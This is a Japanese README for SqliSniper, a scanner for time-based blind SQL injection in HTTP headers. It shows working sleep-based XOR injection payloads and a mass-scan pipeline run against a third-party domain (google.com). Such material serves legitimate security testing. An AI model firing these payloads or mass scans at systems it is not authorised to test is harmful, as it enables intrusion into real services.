機能 • インストール • 使い方 • SqliSniperの実行 • 貢献 •
SqliSniper は、HTTPリクエストヘッダー内の時間ベースのブラインドSQLインジェクションを検出するために設計された堅牢なPythonツールです。マルチスレッドを使用して迅速にスキャンし、潜在的な脆弱性を特定することで、セキュリティ評価プロセスを強化し、速度と効率を確保します。他のスキャナとは異なり、SqliSniperは誤検出を排除し、検出時にアラートを送信するように設計されており、内蔵のDiscord通知機能を備えています。

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt
これはツールのヘルプを表示します。サポートされているすべてのオプションは以下の通りです。
ubuntu:~/sqlisniper$ ./sqlisniper.py -h
███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝
╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗
███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝
-: By Muhammad Danial :-
usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
[--threads THREADS]
Detect SQL injection by sending malicious queries
options:
-h, --help show this help message and exit
-u URL, --url URL Single URL for the target
-r URLS_FILE, --urls_file URLS_FILE
File containing a list of URLs
-p, --pipeline Read from pipeline
--proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080)
--payload PAYLOAD File containing malicious payloads (default is payloads.txt)
--single-payload SINGLE_PAYLOAD
Single payload for testing
--discord DISCORD Discord Webhook URL
--headers HEADERS File containing headers (default is headers.txt)
--threads THREADS Number of threads
URLは -uフラグ で指定し、単一サイトをスキャンします。
./sqlisniper.py -u http://example.com
-rフラグ を使用すると、SqliSniperは複数のURLを含むファイルを読み取り、同時にスキャンできます。
./sqlisniper.py -r url.txt
SqliSniperは -pフラグ を使用してパイプライン入力でも動作します。
cat url.txt | ./sqlisniper.py -p
パイプライン機能により、他のツールとのシームレスな統合が可能になります。例えば、subfinderやhttpxなどのツールを使用し、その出力をSqliSniperにパイプして大量スキャンを行うことができます。
subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p
デフォルトでは、SqliSniperはpayloads.txtファイルを使用します。しかし、--payloadフラグ を使用してカスタムペイロードファイルを指定できます。
./sqlisniper.py -u http://example.com --payload mssql_payloads.txt
カスタムペイロードファイルを使用する際は、スリープ時間を %__TIME_OUT__% に置き換えてください。SqliSniperは、誤検出を軽減するためにスリープ時間を動的に調整します。
ペイロードファイルは次のようになります。
ubuntu:~/sqlisniper$ cat payloads.txt
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z
単一のペイロードのみをテストしたい場合は、--single-payloadフラグ を使用できます。スリープ時間を %__TIME_OUT__% に置き換えることを忘れないでください。
./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"
ヘッダーはheaders.txtファイルに保存されます。カスタムヘッダーをスキャンするには、カスタムHTTPリクエストヘッダーをheaders.txtファイルに保存してください。
ubuntu:~/sqlisniper$ cat headers.txt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1
SqliSniperはDiscordアラート通知も提供し、Discord Webhookを介してリアルタイムアラートを提供することで機能を強化します。この機能は大規模スキャン中に非常に役立ち、検出時に迅速な通知を可能にします。
./sqlisniper.py -r url.txt --discord <web_hookurl>
スレッド数は --threadsフラグ で指定できます。
./sqlisniper.py -r url.txt --threads 10
注: スレッド数を多くすると、誤検出が発生したり、有効な問題を見落としたりする可能性があることに注意することが重要です。時間ベースのSQLインジェクションの性質上、より正確な検出のためには低いスレッド数を使用することをお勧めします。
法的免責事項事前の相互同意なしにこのツールを使用してターゲットを攻撃することは固く禁止されています。該当するすべての地方、州、連邦法を遵守するのはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムの誤用または損害についても責任を負いません。 |
SqliSniperへの貢献はいつでも歓迎します。機能拡張、バグ修正、ドキュメント改善など、どんな小さな助けでも感謝します。
SqliSniper は MITライセンス の下で配布されています。
SqliSniper は
たくさんの💙を込めて @Muhammad Danial によって作られました。